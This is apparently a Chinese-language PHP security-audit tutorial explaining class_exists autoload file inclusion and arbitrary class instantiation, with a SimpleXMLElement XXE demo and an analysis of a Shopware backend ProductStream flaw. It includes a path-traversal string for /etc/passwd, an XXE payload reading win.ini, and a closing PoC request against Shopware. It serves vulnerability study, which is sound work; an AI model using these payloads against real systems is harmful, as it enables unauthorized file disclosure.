PHP審計之class_exists與任意例項化漏洞
前言
發現PHP的一些漏洞函式挺有意思,跟著七月火師傅的文章來學習.
class_exists函式
函式說明
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :檢查類是否已定義
定義 : bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 為類的名字,在匹配的時候不區分大小寫。預設情況下 $autoload 為 true,當 $autoload 為 true 時,會自動載入本程式中的 __autoload 函式;當 $autoload 為 false 時,則不呼叫 __autoload 函式。
函式漏洞
class_exists() 函式來判斷使用者傳過來的控制器是否存在,預設情況下,如果程式存在 __autoload 函式,那麼在使用 class_exists() 函式就會自動呼叫本程式中的 __autoload 函式,這題的檔案包含漏洞就出現在這個地方。攻擊者可以使用 路徑穿越 來包含任意檔案,當然使用路徑穿越符號的前提是 PHP5~5.3(包含5.3版本)版本 之間才可以。例如類名為: ../../../../etc/passwd 的查詢,將檢視passwd檔案內容
例項分析
結合上面的class_exists
函式漏洞, 來看到上面的程式碼。
接受值過來$controllerName
過來然後呼叫class_exists
將該變數傳入,而class_exists
的$autoload
引數值並未進行設定,該引數預設為True,則會自動呼叫本類中的__autoload
函式,這個函式恰巧進行了檔案包含,即任意檔案包含漏洞。
看到第九行程式碼,這個位置new了一個接受過來的引數值,則可用實現任意的類例項化。但是在該程式碼中沒有一些能直接在__construct
建構函式中實現命令執行或其他操作的類。
所以這裡利用SimpleXMLElement
類來實現例項化中實現一個XXE。
看到demo
<?php
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>
//結果:
object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
win.ini內容被讀取。
程式碼審計
這裡拿Shopware 來做一個審計
漏洞點在在 engine\Shopware\Controllers\Backend\ProductStream.php
的loadPreviewAction
方法中。
路由訪問則/Backend/ProductStream/loadPreviewAction
看到loadPreviewAction
方法程式碼
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);
$sorting = $this->Request()->getParam('sort');
$criteria = new Criteria();
/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);
foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}
$conditions = $streamRepo->unserialize($conditions);
接收sort引數的值然後進行json_decode,而後
這裡獲取shopware_product_stream.repository
內容,然後呼叫unserialize
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
}
跟蹤這個unserialize
LogawareReflectionHelper.php
的unserialize
程式碼
public function unserialize($serialized, $errorSource)
{
$classes = [];
foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0];
try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}
return $classes;
}
遍歷$serialized
,這個$serialized
是我們sort傳遞並且進行json_deocode解密後的資料。
隨後呼叫createInstanceFromNamedArguments
,跟進了一下方法,發現就是反射建立了一個例項化的物件。和Java裡面的反射感覺上差不多。
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);
if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}
$constructorParams = $reflectionClass->getConstructor()->getParameters();
$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();
if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();
continue;
}
$newParams[] = $arguments[$paramName];
}
return $reflectionClass->newInstanceArgs($newParams);
}
分析完以上的,其實顯而易見和上面的例項一樣是一個任意例項化漏洞。
那麼也可以藉助SimpleXMLElement
類來實現一個XXE的效果,當然也可以去尋找一些__construct
函式中有做其他操作例如命令執行或檔案讀取的也可以利用上。
POC如下:
/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25